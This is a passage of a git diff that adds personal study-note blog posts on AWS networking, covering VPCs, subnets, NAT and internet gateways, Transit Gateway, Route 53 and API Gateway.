Network] +toc: true +image: +--- + +- [AWS networking and content delivery](#aws-networking-and-content-delivery) + - [HIGH AVAILABILITY APPROACHES FOR NETWORKING](#high-availability-approaches-for-networking) + - [Hybrid connectivity](#hybrid-connectivity) + - [AWS Partner Network (APN)](#aws-partner-network-apn) + - [AWS GovCloud](#aws-govcloud) + - [Hardware VPN Connection:](#hardware-vpn-connection) + - [Router:](#router) + - [Peering Connection:](#peering-connection) + - [VPC Endpoints:](#vpc-endpoints) + - [VPC](#vpc) + - [Elastic Network Interface (ENI)](#elastic-network-interface-eni) + - [Flow Logs](#flow-logs) + - [Subnets](#subnets) + - [Shared Services VPCs](#shared-services-vpcs) + - [AWS VPN - Virtual Private Network](#aws-vpn--virtual-private-network) + - [Amazon CloudFront](#amazon-cloudfront) + - [Regional edge caches](#regional-edge-caches) + - [Gateway](#gateway) + - [Internet Gateway](#internet-gateway) + - [NAT INSTANCES](#nat-instances) + - [NAT GATEWAYS](#nat-gateways) + - [Virtual Private Gateway:](#virtual-private-gateway) + - [Customer Gateway:](#customer-gateway) + - [Egress-only Internet Gateway:](#egress-only-internet-gateway) + - [Amazon API Gateway](#amazon-api-gateway) + - [AWS Transit Gateway `connecting multiple VPCs`](#aws-transit-gateway-connecting-multiple-vpcs) + - [Route 53](#route-53) + + + +--- + + + +# AWS networking and content delivery + +Module 5 Overview + + +![Screen Shot 2022-07-04 at 16.21.15](https://i.imgur.com/zw9CrZ7.jpg) + +![Screen Shot 2022-07-04 at 16.22.02](https://i.imgur.com/HLg1DVI.jpg) + +## HIGH AVAILABILITY APPROACHES FOR NETWORKING +- By creating subnets in the available AZs, you create Multi-AZ presence for the VPC. +- Best practice is to create at least two VPN tunnels into the Virtual Private Gateway. +- Direct Connect is not HA by default, so you need to establish a secondary connection via another Direct Connect (ideally with another provider) or use a VPN. +- Route 53’s health checks provide a basic level of redirecting DNS resolutions. +- Elastic IPs allow you flexibility to change out backing assets without impacting name resolution. +- For Multi-AZ redundancy of NAT Gateways, create gateways in each AZ with routes for private subnets to use the local gateway. + + + + +## Hybrid connectivity +- AWS direct connect (for consistent and dedicated connection, this better) +- Virtual private network VPN +- Services like Classic Load Balancer, Auto Scaling, are not supported in a hybrid design. + +![Screen Shot 2022-07-04 at 16.26.41](https://i.imgur.com/7AJ32JE.png) + + + +## AWS Partner Network (APN) +- APN Consulting Partners + - helps customers of all types and sizes design, architect, build, migrate, and manage their workloads and applications on AWS, + - accelerating journey to the cloud.  + - Consulting Partners include + - System Integrators (SIs), + - Strategic Consultancies, + - Agencies, + - Managed Service Providers (MSPs), + - and Value-Added Resellers (VARs). + +- APN Technology Partner + - organizations that are developing their own products/services that they will deploy on top of AWS to sell it to the customers. + - establish a secure and private tunnel from the network or device to the AWS global network. + +- AWS VPN comprises two services: + - AWS Site-to-Site VPN and AWS Client VPN. + + +## AWS GovCloud +- an AWS Region specially designed to host sensitive data and regulated workloads from U.S. government agencies and customers. +- t addresses the most stringent U.S. government security and compliance requirements + + +## Hardware VPN Connection:  +- A hardware-based VPN connection between the Amazon VPC and the datacenter, home network, or co-location facility. + + +## Router:  +- Routers interconnect subnets and direct traffic between Internet gateways, virtual private gateways, NAT gateways, and subnets. + + +## Peering Connection:  +- to route traffic via private IP addresses between two peered VPCs. + - can be created with VPCs in different regions (available in most regions now). + + +## VPC Endpoints:  + - Enables private connectivity to services hosted in AWS, from within the VPC without using an Internet Gateway, VPN, Network Address Translation (NAT) devices, or firewall proxies. + +--- + +## VPC + +Options for securely connecting to a VPC are: +- AWS managed VPN – fast to setup. +- AWS Direct Connect – high bandwidth, low-latency but takes weeks to months to setup. +- AWS Direct Connect plus a VPN +- AWS VPN CloudHub – used for connecting multiple sites to AWS. provide secure communication between sites using the AWS VPN CloudHub. +- Software VPN – use 3rd party software. +- Transit VPC +- VPC Peering +- AWS PrivateLink +- VPC Endpoints + +Data sent between VPCs in different regions is encrypted (traffic charges apply). + + +VPC best practices. +- Choosing CIDR block or IP address ranges wisely + - selecta range large enough for future growth (or run multiple VPCs). Start with /16. +- Use **subnets to divide resources based on access**, which is their primary purpose. +- Use **Multi-AZ deployments** in a VPC for high availability +- Use **security groups to control traffic** between EC2 instances and elastic load balancers. You can specify a granular security policy for Amazon EC2 instances by using a security group. +- Use **VPC Flow Logs** to track and monitor VPC traffic. + - Store traffic logs for a particular VPC, VPC subnet, or Elastic Network Interface to CloudWatchLogs, + - can be accessed by third-party tools for storage and analysis. +- Check the **health of the VPN link** via API calls or in the AWS Management Console. + + +VPC WIZARD +The VPC Wizard can be used to create the following four configurations: + +- VPC with a Single Public Subnet: + - instances run in a private, isolated section of the AWS cloud with direct access to the Internet. + - Public subnet instances use Elastic/Public IPs to access the Internet. + - Network access control lists and security groups can be used to provide strict control over inbound and outbound network traffic to the instances. + - Creates a /16 network with a /24 subnet. + +- VPC with Public and Private Subnets: + - adds a private subnet whose instances are not addressable from the Internet. + - **Public subnet** instances use `Elastic IPs` to access the Internet. + - **Private subnet** instances access the Internet via the public subnet using `Network Address Translation (NAT)`. + - Creates a /16 network with two /24 subnets. + +- VPC with Public and Private Subnets and Hardware VPN Access: + - adds an `IPsec Virtual Private Network (VPN)` connection between the Amazon VPC and the data center + - effectively extending the data center to the cloud while also providing direct access to the Internet for public subnet instances in the Amazon VPC. + - One subnet is directly connected to the Internet + - other subnet is connected to corporate network via an IPsec VPN tunnel. + - Creates a /16 network with two /24 subnets. + +- VPC with a Private Subnet Only and Hardware VPN Access: + - instances run in a private, isolated section of the AWS cloud with a private subnet whose instances are not addressable from the Internet. + - connect private subnet to corporate data center via an `IPsec Virtual Private Network (VPN)` tunnel. + - Creates a /16 network with a /24 subnet and provisions an IPsec VPN tunnel between the Amazon VPC and the corporate network. + +### Elastic Network Interface (ENI) +- a logical networking component that represents a NIC. +- can be attached and detached from EC2 instances and the configuration of the ENI will be maintained. + +### Flow Logs +- capture information about the IP traffic going to and from network interfaces in a VPC. +- stored using Amazon CloudWatch Logs. +- can be created at the following levels: + - VPC. + - Subnet. + - Network interface. + + +### Subnets +- After creating a VPC, can add one or more subnets in each Availability Zone. + - Subnets are created within a single AZ and do not get mapped to multiple AZs. +- When create subnet, specify the CIDR block for the subnet, a subset of the VPC CIDR block. + - Each subnet must reside entirely within one Availability Zone and + - subnet cannot span zones. +- Types of subnet: + - If a subnet’s traffic is routed to an internet gateway, the subnet is known as a public subnet. + - If a subnet doesn’t have a route to the internet gateway, the subnet is known as a private subnet. + - If a subnet doesn’t have a route to the internet gateway, but has its traffic routed to a virtual private gateway for a VPN connection, the subnet is known as a VPN-only subnet. + + +--- + +## Shared Services VPCs +- allow other AWS accounts to create their application resources (EC2 instances, RDS databases, Redshift clusters, Lambda functions) into shared, centrally-managed Amazon VPCs. +- VPC sharing enables subnets to be shared with other AWS accounts within the same AWS Organization. +- Benefits include: + - Separation of duties: + - centrally controlled VPC structure, routing, IP address allocation. + - Application owners continue to own resources, accounts, and security groups. + - VPC sharing participants can reference security group IDs of each other. + - Efficiencies: + - higher density in subnets, efficient use of VPNs and AWS Direct Connect. + - Hard limits can be avoided + - for example, 50 VIFs per AWS Direct Connect connection through simplified network architecture. + - Costs can be optimized + - through reuse of NAT gateways, VPC interface endpoints, and intra-Availability Zone traffic. +- You can create separate Amazon VPCs for each account + - the account owner being responsible for connectivity and security of each Amazon VPC. + - With VPC sharing, the IT team can own and manage the Amazon VPCs and the application developers no longer have to manage or configure Amazon VPCs, but they can access them as needed. +- share Amazon VPCs to leverage the implicit routing within a VPC for applications that require a high degree of interconnectivity and are within the same trust boundaries. + - reduces the number of VPCs that need to be created and managed, while you still benefit from using separate accounts for billing and access control. +- Customers can further simplify network topologies by interconnecting shared Amazon VPCs using connectivity features, such as AWS PrivateLink, AWS Transit Gateway, and Amazon VPC peering. +- Can also be used with AWS PrivateLink to secure access to resources shared such as applications behind a Network Load Balancer. + +--- + + + +## AWS VPN - Virtual Private Network +- provides a secure private tunnel from the network or device to the AWS global network. +- lets you establish a secure and private tunnel from the network or device to the AWS global network. +- AWS VPN comprises two services: + - `AWS Site-to-Site VPN` + - enables you to securely `connect the on-premises network or branch office site to the Amazon Virtual Private Cloud (Amazon VPC)`. + - `AWS Client VPN` + - enables you to securely `connect users to AWS or on-premises networks` + + + + + +## Amazon CloudFront +- fast **content delivery network (CDN)** service + - securely delivers data, videos, applications, and application programming interfaces (APIs) to customers globally, +- low latency and high transfer speeds. fast response time to frequently accessed data. + - cache both static and dynamic content in points of presence +- This `inclueds protections with AWS WAF and AWS Shield`. +- Edge locations: the locations where the content is cached +- A CloudFront Origin can be an S3 bucket, ELB, or a valid domain name. + + +### Regional edge caches  +- used by default with Amazon CloudFront. +- are used when you have content that is not accessed frequently enough to remain in an edge location. +- Regional edge caches absorb this content and provide an alternative to that content having to be fetched from the origin serve + +--- + +## Gateway + +### Internet Gateway +- a horizontally scaled, redundant, and highly available VPC component that allows communication between instances in the VPC and the internet. + +![Screen Shot 2022-07-04 at 16.23.44](https://i.imgur.com/d4oQg2e.png) + +![Screen Shot 2022-07-04 at 16.23.31](https://i.imgur.com/4uDtbFe.jpg) + + +#### NAT INSTANCES +- NAT instances are `managed by you`. +- Used to enable private subnet instances to access the Internet. +- When creating NAT instances always `disable the source/destination check` on the instance. +- NAT instances must be in a single public subnet. +- NAT instances need to be assigned to security groups. + + +#### NAT GATEWAYS +- NAT gateways are `managed by AWS`. +- A highly available, managed Network Address Translation (NAT) service for the resources in a private subnet to access the Internet. + - No need to patch. + - preferred by enterprises. + - `Not associated with any security groups.` + - No need to disable source/destination checks. + - `Port forwarding is not supported.` + - `Traffic metrics are not supported.` +- Must be created in a public subnet. + - Created in a specified AZ with redundancy in that zone. + - For multi-AZ redundancy + - create NAT Gateways in each AZ with routes for private subnets to use the local gateway. + - Automatically assigned a public IP address. + - Uses an Elastic IP address for the public IP. + - Private instances in private subnets must have a route to the NAT instance, usually the default route destination of 0.0.0.0/0. +- NAT gateways are highly available in each AZ into which they are deployed. + - Can scale automatically up to 45Gbps. +- They are preferred by enterprises. +- Can’t use a NAT Gateway to access VPC peering, VPN or Direct Connect, so be sure to include specific routes to those in the route table. +- Remember to update route tables and point towards the gateway. +- More secure + - you cannot access with SSH and there are no security groups to maintain +- Egress only Internet gateways operate on IPv6 whereas NAT gateways operate on IPv4. +- Using the NAT Gateway as a Bastion host server is not supported. + + + +### Virtual Private Gateway:  +- The Amazon VPC side of a VPN connection. + + +### Customer Gateway:  + - Your side of a VPN connection. + - Best practice to use custom route tables for each subnet, which enable granular routing for destinations. + - Route leads according to rules you set up, making sure they are going to those agents best suited to conversion + + +### Egress-only Internet Gateway:  +- A stateful gateway to provide egress only access for IPv6 traffic from the VPC to the Internet. + + + +### Amazon API Gateway +- a fully managed service +- for developers to `create, publish, maintain, monitor, and secure APIs at any scale`. + - in AWS Management Console + - create an API that acts as a “front door” for applications to access data, business logic, or functionality from the back-end services, + - such as workloads running on Amazon EC2, + - code running on AWS Lambda, or any web application. +- Amazon API Gateway handles all the tasks involved in accepting and processing up to hundreds of thousands of concurrent API calls, including traffic management, authorization and access control, monitoring, and API version management. + + + + +### AWS Transit Gateway `connecting multiple VPCs` +- to `connect Amazon VPCs and on-premises networks` to a **single gateway** for connecting multiple VPCs and on-premises networks. +- enables customers to connect their Amazon VPCs and their on-premises networks to a single gateway. +- only have to create and `manage a single connection from the central gateway` in to each Amazon VPC, on-premises data center, or remote office across the network. +- Transit Gateway acts as a hub that controls how traffic is routed among all the connected networks which act like spokes. + +![Screen Shot 2022-07-04 at 16.24.28](https://i.imgur.com/k7nXG1H.png) + + + +## Route 53 +- a scalable cloud Domain Name System (DNS) web service +- Features: domain registration, DNS, traffic flow, health checking, and failover, “routing policies”. register domains and configure DNS records + - give a reliable way to route end users to internet applications. +- does not support DHCP, IP routing or caching. +- Requests going to either one of these services will be routed to the nearest edge location automatically in order to lower latency. +- most useful in a disaster recovery situation + - When have more than one resource performing the same function + - for example, more than one HTTP server or mail server + - you can configure Route 53 to check the health of resources and respond to DNS queries using only the healthy resources. + - For example, suppose the website, example.com, is hosted on six servers, two each in three data centers around the world. + - You can configure Route 53 to check the health of those servers and to respond to DNS queries for example.com using only the servers that are currently healthy. + - You can also use Route 53 to switch DNS addresses. +-  Amazon Route 53 effectively connect user requests to ELB, S3, EC2. +- Purpose: + - To populate external DNS servers with domain/IP address information for the ELB, so that inbound traffic can be load balanced by the ELB between the EC2 instances. diff --git a/_posts/01Cloud/01AWS/Network/Gateway/2020-07-18-Gateway-IGW.md b/_posts/01Cloud/01AWS/Network/Gateway/2020-07-18-Gateway-IGW.md new file mode 100644 index 00000000000..5b552edebfc --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/Gateway/2020-07-18-Gateway-IGW.md @@ -0,0 +1,74 @@ +--- +title: AWS - VPC Gateway - IGW +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Network] +tags: [AWS, Network, VPC] +toc: true +image: +--- + +- [Internet gateway (IGWs)](#internet-gateway-igws) + +--- + +# Internet gateway (IGWs) + +![IGW](https://i.imgur.com/9jacyfO.png) + + +pic + +pic + + +- The key: whether it can access internet + + +- IGW is resilient by design + - a scalable, redundant, and highly available VPC component + - horizontally scaled out, redundant, and highly available by default. + - provide all subnets in all AZs with resilient internet connectivity +- one IGW one VPC + - Default VPC already has IGW + - cannot assign more than one IGW to a VPC. +- No network riskdor bandwidth constraints on network traffic. + +- allows communication between instances in your VPC and the internet + - provide a way to get access to the internet + - allow traffic on the internet to come by providing a target in the subnet route tables for internet-routable traffic. + - Because the instance has a public IP address, the internet can access the public instance with the public IP address. + - IGW has to add routing rules to the route table for resources in a public subnet to reach the internet + - rules are not automatically created. + + + - IGW two purposes : + - to provide a target in VPC route tables for internet-routable traffic + - To make subnet public + - attach an internet gateway + - add a route to the route table: + - send non-local traffic through the internet gateway to the internet (0.0.0.0/0). + - Public IPv4 addresses are never attached to the resource's network interface. + + - to perform SNAT network address translation for instances that were assigned public IPv4 addresses + - a record has the mappings of private to public IPs, + - and the IGW performs SNAT on the associated resource. + - When the IGW receives a packet from a resource with a public IP + - it will adjust the packets. + - It replaces the private IP with the associated public IP address + - This process is known as SNAT. + + + +- enable access to or from the internet for instances in a VPC subnet, you must ensure: + - Create an internet gateway + - Attach an internet gateway to VPC + - subnet's route table points to the internet gateway + - Add a route to your subnet's route table that directs internet-bound traffic to the internet gateway. + - instances in subnet have public / Elastic IP addresses + - (public IPv4 address, Elastic IP address, or IPv6 address) + - NACLs and security groups allow the relevant traffic to flow to and from your instance. + + + + +. diff --git a/_posts/01Cloud/01AWS/Network/Gateway/2020-07-18-Gateway-NAT.md b/_posts/01Cloud/01AWS/Network/Gateway/2020-07-18-Gateway-NAT.md new file mode 100644 index 00000000000..2eddf1dad4b --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/Gateway/2020-07-18-Gateway-NAT.md @@ -0,0 +1,148 @@ +--- +title: AWS - VPC Gateway - NAT +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Network] +tags: [AWS, Network, VPC] +toc: true +image: +--- + +- [Network address translation (NAT)](#network-address-translation-nat) + - [NAT instances](#nat-instances) + - [Network address translation (NAT) gateway](#network-address-translation-nat-gateway) + - [difference between the VPC NAT gateway and a NAT instance](#difference-between-the-vpc-nat-gateway-and-a-nat-instance) + +--- + +# Network address translation (NAT) + +1. instances connect to the internet but prevents the internet initial connection +2. Do not support port forwarding + + +3. enable instances in the private subnet + - to initiate outbound traffic to the internet or to other AWS services + - prevent receiving inbound traffic from the Internet. + - example: + - have a database that want to keep in the private subnet + - but still let it access database patches. + - NAT service allows the instance to reach the internet to download patches without letting traffic come back in and access the instance. + +4. fault-tolerant and can scale in response to load. + +5. DHCP + - can have multiple sets of DHCP options, + - but only can associate one set of DHCP options with a VPC at a time. + - The DHCP option sets element of an Amazon VPC allows to direct Amazon EC2 hostname assignments to your own resources. + +6. Dynamic / Static NAT gateway + - Static NAT: SNAT + - A private IP is mapped to a public IP.  + - translates private to public IPs at a 1:1 ratio + - Dynamic NAT: DNAT + - A range of private addresses, are mapped onto one or more public IPs. + - translate a range of private IPs to public IPs + - example: + + - when private instances only need internet access for an update + - Dynamic NATs support session traffic, + - provides outbound internet access to private instances for security updates. + +7. When a NAT gateway has an Elastic IP it can send outbound traffic from a private subnet to the internet gateway using the NAT gateway’s Elastic IP address as the source IP address. + - when several private instances need to share an Elastic IP + - assign an Elastic IP to a Dynamic NAT + - several instances can use the same Elastic IP. + +8. AWS offers two primary options for using NAT services: + - NAT instance + - An Amazon EC2 instance that set up as a NAT service in a public subnet + - NAT Gateway + +![Screen Shot 2020-06-22 at 01.21.47](https://i.imgur.com/5iVOvIL.png) + +--- + +## NAT instances + +1. NAT instances are managed by you. +1. Used to enable private subnet instances to access the Internet + - be a route from a private subnet to the NAT instance for it to work. + - setup + - NAT instance must live on a single public subnet with a route to an Internet Gateway + - Private instances in private subnets must have a route to the NAT instance + - usually the default route destination of 0.0.0.0/0. + - use as a bastion (jump) host +2. Can monitor traffic metrics +3. disable the source/destination check on the instance +4. NAT instances need to be assigned to security groups. + - Security groups for NAT instances must allow + - HTTP/HTTPS inbound from the private subnet + - and outbound to 0.0.0.0/0. +5. Using a NAT instance can lead to bottlenecks (not HA) + - HA can be achieved by using Auto Scaling groups, multiple subnets in different AZ’s and a script to automate failover. +6. The amount of traffic a NAT instance can support is based on the instance type. + - Performance is dependent on instance size. + - Can scale up instance size or use enhanced networking. + - Can scale out by using multiple NATs in multiple subnets. +7. Not supported for IPv6 (use Egress-Only Internet Gateway). +8. stateful + - NAT gateway understands the session + - will allow inbound information because the request was a response to the private resource's request. + + +--- + +## Network address translation (NAT) gateway + +1. NAT gateways are managed by AWS + - replaces the need for NAT instances on EC2. + - fully scaled, redundant and highly available. + - No need to patch. + - Not associated with any security groups. + - Automatically assigned a public IP address. + +2. limitation + - Port forwarding is not supported. + - Using the NAT Gateway as a Bastion host server is not supported. + - Traffic metrics are not supported. + +3. Must be created in a public subnet. + - create a NAT gateway + - specify the public subnet the NAT gateway should reside + - associate the NAT gateway an Elastic IP address + - Uses an Elastic IP address for the public IP. + - update the route table + - associated private subnets to the route table + - point internet-bound traffic to the NAT gateway. + - Thus, instances in private subnets can communicate with the internet. + +4. NAT can handle 5 Gbps of bandwidth. + - Add more IGWs, and it can scale up to 45 Gbps. + +5. cannot privately route traffic to a NAT gateway through + - a VPC peering connection, a Site-to-Site VPN connection, or AWS Direct Connect. + - so be sure to include specific routes to those in your route table. + - NAT gateway cannot be used by resources on the other side of these connections. + + +6. More secure + - cannot access with SSH and there are no security groups to maintain + - No need to disable source/destination checks. + + +--- + +## difference between the VPC NAT gateway and a NAT instance + +![Pasted Graphic](https://i.imgur.com/j0mIsQF.jpg) + + +1. port forwarding. + - The VPC NAT gateway does not support Port forwarding. +2. cost differences +3. NAT gateway is a managed NAT service + - provides better availability, higher bandwidth, and less administrative effort. + - inherently highly available + - might not provide the exact level of control that your application needs. + - when you need more than 10GB of bandwidth, that is the maximum amount of bandwidth that the NAT gateway can handle. + - NAT gateways do not have management overhead like NAT instances do. diff --git a/_posts/01Cloud/01AWS/Network/Gateway/2020-07-18-Gateway.md b/_posts/01Cloud/01AWS/Network/Gateway/2020-07-18-Gateway.md new file mode 100644 index 00000000000..ba657b4a154 --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/Gateway/2020-07-18-Gateway.md @@ -0,0 +1,285 @@ +--- +title: AWS - VPC Gateway +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Network] +tags: [AWS, Network, VPC] +toc: true +image: +--- + +- [Network Connectivity - Gateway](#network-connectivity---gateway) + - [VPC Connectivity](#vpc-connectivity) + - [VPC peering](#vpc-peering) + - [VPN hub-and-spoke architecture](#vpn-hub-and-spoke-architecture) + - [AWS Transit Gateway \[`connecting multiple VPCs`\]](#aws-transit-gateway-connecting-multiple-vpcs) + - [Internet Connectivity](#internet-connectivity) + - [Internet Gateway](#internet-gateway) + - [NAT Gateway - Network address translation Gateway](#nat-gateway---network-address-translation-gateway) + - [NAT INSTANCES](#nat-instances) + - [NAT GATEWAYS](#nat-gateways) + - [Virtual Private Gateway: ](#virtual-private-gateway) + - [Customer Gateway: ](#customer-gateway) + - [Egress-only Internet Gateway: ](#egress-only-internet-gateway) + - [Amazon API Gateway](#amazon-api-gateway) + - [AD Connector](#ad-connector) + - [how subnets, Gateways, and routes work together.](#how-subnets-gateways-and-routes-work-together) + + +--- + +# Network Connectivity - Gateway + + + +configure your VPCs in several ways, and take advantage of numerous connectivity options and gateways. +- These options and gateways include + - AWS Direct Connect (via DX gateways), + - NAT gateways, + - internet gateways, + - VPC peering, etc. + + +hundreds of VPCs distributed across AWS accounts and Regions to serve multiple lines of business, teams, projects, and get complex to set up connectivity between VPCs. + + +--- + + +## VPC Connectivity + + +--- + + +### VPC peering +- All the connectivity options are strictly point-to-point, so the number of VPC-to-VPC connections can grow quickly. + - As grow the number of workloads run on AWS + - scale your networks across multiple accounts and VPCs to keep up with the growth. + - Though you can use VPC peering to connect pairs of VPCs, + - managing point-to-point connectivity across many VPCs + - without the ability to centrally manage the connectivity policies + - operationally costly and difficult. + + - For on-premises connectivity, you must attach your VPN to each individual VPC. This solution can be time-consuming to build and difficult to manage when the number of VPCs grows into the hundreds. + + +--- + +### VPN hub-and-spoke architecture + +![Screen Shot 2020-06-22 at 08.06.02](https://i.imgur.com/plYMV7b.png) + + +![Pasted Graphic](https://i.imgur.com/F7cTXHf.png) + + +- EC2 VPN instances to the central customer gateway. +- two EC2-based `VPN endpoints in each spoke` to support high availability. +- a `central VPC (hub)` that contains common services for all application VPCs. +- a dynamic routing protocol between the spokes and the hub. + + + +--- + + +### AWS Transit Gateway [`connecting multiple VPCs`] + +- to `connect Amazon VPCs and on-premises networks` to a **single gateway** for connecting multiple VPCs and on-premises networks. + + +- enables customers to connect their Amazon VPCs and their on-premises networks to a single gateway. + - can replace many point-to-point peering connections. + - simplify your networking model. + - only `create and manage a single connection from the central gateway` into + - each VPC, + - on-premises data center, + - or remote office across your network. + + +- acts as a `hub, hub-and-spoke` model + - controls how traffic is routed among all the connected networks, which act like spokes. + - simplifies management and reduces operational costs + - because each network only needs to connect to the transit gateway and not to every other network. + - Any new VPC is connected to the transit gateway, then automatically available to other network connected to the transit gateway. + - easier to scale your network as you grow. + +![AWS Transit Gateway](https://i.imgur.com/4QfbqaR.png) + + +--- + + +## Internet Connectivity + +Gateway terminology: +- Internet gateway (IGW) – AWS VPC side of the connection to the public Internet. +- Virtual private gateway (VPG) – VPC endpoint on the AWS side. +- Customer gateway (CGW) – representation of the customer end of the connection. + +- Network address translation Gateway (NAT) +- Egress-Only Gateway + +![Screen Shot 2020-05-05 at 22.55.55](https://i.imgur.com/5scnyES.png) + +--- + +### Internet Gateway +- AWS VPC side of the connection to the public Internet. + +- a horizontally scaled, redundant, and highly available VPC component that allows communication between instances in the VPC and the internet. + +[link to detail page](https://ocholuo.github.io/posts/Gateway-IGW/) + +--- + + +### NAT Gateway - Network address translation Gateway + +[link to detail page](https://ocholuo.github.io/posts/Gateway-NAT/) + + + + +#### NAT INSTANCES +- NAT instances are `managed by you`. +- Used to enable private subnet instances to access the Internet. +- When creating NAT instances always `disable the source/destination check` on the instance. +- NAT instances must be in a single public subnet. +- NAT instances need to be assigned to security groups. + + +#### NAT GATEWAYS +- NAT gateways are `managed by AWS`. +- A highly available, managed Network Address Translation (NAT) service for the resources in a private subnet to access the Internet. + - No need to patch. + - preferred by enterprises. + - `Not associated with any security groups.` + - No need to disable source/destination checks. + - `Port forwarding is not supported.` + - `Traffic metrics are not supported.` +- Must be created in a public subnet. + - Created in a specified AZ with redundancy in that zone. + - For multi-AZ redundancy + - create NAT Gateways in each AZ with routes for private subnets to use the local gateway. + - Automatically assigned a public IP address. + - Uses an Elastic IP address for the public IP. + - Private instances in private subnets must have a route to the NAT instance, usually the default route destination of 0.0.0.0/0. +- NAT gateways are highly available in each AZ into which they are deployed. + - Can scale automatically up to 45Gbps. +- They are preferred by enterprises. +- Can’t use a NAT Gateway to access VPC peering, VPN or Direct Connect, so be sure to include specific routes to those in the route table. +- Remember to update route tables and point towards the gateway. +- More secure + - you cannot access with SSH and there are no security groups to maintain +- Egress only Internet gateways operate on IPv6 whereas NAT gateways operate on IPv4. +- Using the NAT Gateway as a Bastion host server is not supported. + + +--- + + + +### Virtual Private Gateway:  +- The Amazon VPC side of a VPN connection. + +1. A virtual private Gateway is HA by design +2. Only one VGW can be associated with a VPC + +When would a virtual private Gateway be used +- when a VPC connects to a Private VIF with Direct Connect + - connects a VPC to a Private VIF (in conjunction with Direct Connect) for direct private connectivity from on on-premise site. +- when needing to attach to multiple VPN connections + - VPG act as the termination point for many different VPN connections. +- when using a VPN connection between a customer Gateway and a VPC + - VPN connection occurs between the customer Gateway and the virtual private Gateway. + - The VPG acts as the endpoint for VPN tunnels + +--- + + +### Customer Gateway:  +- Your side of a VPN connection. + - Best practice to use custom route tables for each subnet, which enable granular routing for destinations. + - Route leads according to rules you set up, making sure they are going to those agents best suited to conversion + - have to maintain unique IP addresses on your end and on your route. + + +--- + +### Egress-only Internet Gateway:  +- A stateful gateway to provide egress only access for IPv6 traffic from the VPC to the Internet. + +- require a private subnet on IPv6-enabled VPCs, the Egress-only Internet Gateway, to allow one-way access to internet resources + - With the Egress-only Internet Gateway, outgoing traffic to the internet will be allowed. However, incoming traffic that’s initiated from the internet will be blocked. + - no additional charge to use the Egress-only Internet Gateways. + - However, data transfer charges apply. + + +- IPv6 addresses are globally unique and are therefore public by default. + - Must create a custom route for ::/0 to the Egress-Only Internet Gateway. + - Use Egress-Only Internet Gateway instead of NAT for IPv6. + +- Stateful + - forwards traffic from instance to Internet and then sends back the response. +- allows IPv6 traffic from instances to the Internet. + - does accept inbound traffic, but it is a certain type of inbound traffic. + +- Prevents inbound access to those IPv6 instances. + - Internet initiated traffic to those instances is blocked. + +- Provides outbound Internet access for IPv6 addressed instances. + + + +--- + +### Amazon API Gateway +- a fully managed service +- for developers to `create, publish, maintain, monitor, and secure APIs at any scale`. + - in AWS Management Console + - create an API that acts as a “front door” for applications to access data, business logic, or functionality from the back-end services, + - such as workloads running on Amazon EC2, + - code running on AWS Lambda, or any web application. +- Amazon API Gateway handles all the tasks involved in accepting and processing up to hundreds of thousands of concurrent API calls, including traffic management, authorization and access control, monitoring, and API version management. + + +--- +--- + + +### AD Connector +- AD Connector is a directory gateway +- can redirect directory requests to your on-premises Microsoft Active Directory without caching any information in the cloud + + +--- + +### how subnets, Gateways, and routes work together. +- This diagram, we have two Availability Zones, two instances and private subnets, the NAT instance with the public IP address, and the public subnet. +- have an internet Gateway connected to the VPC. +- have a NAT instance, it needs a route to the internet Gateway so that the instance can talk to the internet. + - the internet is in the route table, as indicated by the 0.0.0.0/0 address. + - The targets that use the internet Gateway have the local route group, 10.0.0.0/20 address. +- to let private subnet connect to the internet + - go through the NAT instance. + - The 0.0.0.0 address indicates that it must route to the NAT. + - The NAT will route the request to the Internet. +- The second private instance currently has no route. + - If that instance needs to go to the internet, + - a route needs to be created to the NAT instance with the public IP address 0.0.0.0/0 with the target of NAT. + - This will enable the private instances to access the internet +- You can further tighten security using security groups. + - a security group for the two private instances. + - a security group for the public NAT group. + - The security groups and the route tables helps control traffic within the VPC. +- The diagram also contains a DynamoDB instance + - sits outside of the VPC, but in the same Region as the VPC. + - Traffic could be routed to it via the internet Gateway. + - there will be some services that reside outside of your VPC. One of those services is DynamoDB. + + +![Screen Shot 2020-06-22 at 01.29.15](https://i.imgur.com/TmNLrjK.png) + + +. diff --git a/_posts/01Cloud/01AWS/Network/Gateway/Gateway-API-Gateway.md b/_posts/01Cloud/01AWS/Network/Gateway/Gateway-API-Gateway.md new file mode 100644 index 00000000000..f7bd1f2c357 --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/Gateway/Gateway-API-Gateway.md @@ -0,0 +1,140 @@ + + +- [AWS API Gateway](#aws-api-gateway) + - [basic](#basic) + - [Security](#security) + - [Application Firewall](#application-firewall) + - [Resource Policy](#resource-policy) + - [Authorization](#authorization) + +--- + +# AWS API Gateway + +![Screen Shot 2020-07-10 at 16.55.04](/assets/img/post/Screen%20Shot%202020-07-10%20at%2016.55.04.png) + +--- + +## basic + +![Screen Shot 2020-07-27 at 00.02.48](/assets/img/post/Screen%20Shot%202020-07-27%20at%2000.02.48.png) + +1. fully managed service + +2. create a unified API frontend for multiple microservices + - to loosely couple systems + - does not compute information from an API. + +3. for developers to create, publish, maintain, monitor, scale, and secure APIs at any scale. + - in AWS Management Console + - throttle, meter, and monetize API usage by thrid-aprty developers + - handles all the tasks involved in accepting and processing thousands of concurrent API calls + - including traffic management, authorization and access control, monitoring, and API version management. + - capabilities does the API Gateway possess: + - Publish APIs + - Create APIs + - Scale APIs + - APIs can be scaled when using the API Gateway. + - Monitor APIs + - Manage APIs + +4. create an API that acts as a “front door” for applications to access data, business logic, or functionality from your back-end services + - designed to handle workloads such as workloads running on EC2, + - code running on AWS Lambda, or any web application. + +5. security: + - DDos protection and throttling for the backend + - Throttle and monitor requests to protect your backend + - if you have a bad actor or someone who has bad code, you can turn off their access to your data + - authenticate and authorize requests to a backend + - Reduced latency and DDoS, protection through Amazon CloudFront + +6. Managed cache to store API responses + +7. SDK generation for iOS, Android, and JavaScript + + +8. OpenAPI specification, or Swagger, support. + - Swagger is a specification and complete framework implementation for describing, producing, consuming, and visualizing RESTful web services. + +9. Request and response data transformation + + +10. API endpoint works closely with APIs; they supply the ending point for API communication. + +11. Host and use multiple versions and stages of your APIs +12. Create and distribute API keys to developers +13. Leverage signature version 4 to authorize access to APIs + + + +The Amazon 